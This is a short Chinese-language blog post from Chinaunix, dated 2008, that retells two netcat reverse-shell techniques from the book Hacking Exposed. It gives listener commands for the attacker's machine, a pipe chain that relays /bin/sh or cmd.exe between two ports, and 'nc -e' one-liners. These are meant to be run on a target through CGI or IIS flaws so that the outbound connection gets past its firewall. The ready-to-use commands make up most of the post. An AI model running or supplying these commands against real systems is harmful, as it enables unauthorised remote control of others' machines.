Chinaunix首页 | 论坛 | 博客
  • 博客访问: 18670792
  • 博文数量: 7460
  • 博客积分: 10434
  • 博客等级: 上将
  • 技术积分: 78178
  • 用 户 组: 普通用户
  • 注册时间: 2008-03-02 22:54
文章分类

全部博文(7460)

文章存档

2011年(1)

2009年(669)

2008年(6790)

分类: 网络与安全

2008-05-31 21:15:29

 在Hacking Exposed上讲了两个办法。经过试验是可行的。
  方法一:
  
  使用nc创建一个从目标机器到攻击者自己的机器的反向通道。因为从目标机器发起连接,通常防火墙不会阻挡。
  
  攻击者机器:开两个窗口(or 两个终端)机器类型不限
  
  nc -l -n -v -p 80 (该窗口用来输入命令)
  
  nc -l -n -v -p 25 (该窗口用来得到输出)
  
  目标机器:
  
  通过cgi的毛病或者IIS的毛病来运行该指令
  
  nc 攻击者机器 80 | /bin/sh | nc 攻击者机器 25
  
  nc 攻击者机器 80 | c:\winnt\system32\cmd.exe | nc 攻击者机器 25 (对于windows NT作为目标的情况)
  
  这个时候从nc监听80的那个窗口输入命令,就可以从监听25那个窗口看到结果了。
  
  没解决的问题:
  
  Hacking Exposed上说是完全可以用telnet来运行的。也就是上面在目标机器执行的nc都是可以用telnet来取代,它是假设目标机器没有nc这个工具的。实际上我研究不出来。不灵,只能连接一下,马上就断了。
  
  
  方法二:
  
  目标机器有nc的情况,不过这个nc要有-e参数。windows下的nc.exe默认就是有-e参数。而UNIX下的默认是没有的。具体原因是要在netcat.c里打开一个已经#define GAPING_SECURITY_HOLE选项。不过什么原因我不懂,就直接把sinbad改好的netcat.c发过来好了。
  
  攻击者机器:
  
  nc -l -n -v -p 80
  
  目标机器:
  
  nc -e /bin/sh 攻击者机器 80 (这个时候该窗口将得到交互式的SHELL)
  
  nc -e c:\winnt\system32\cmd.exe 攻击者机器 80
  
  
  ok了
阅读(1596) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~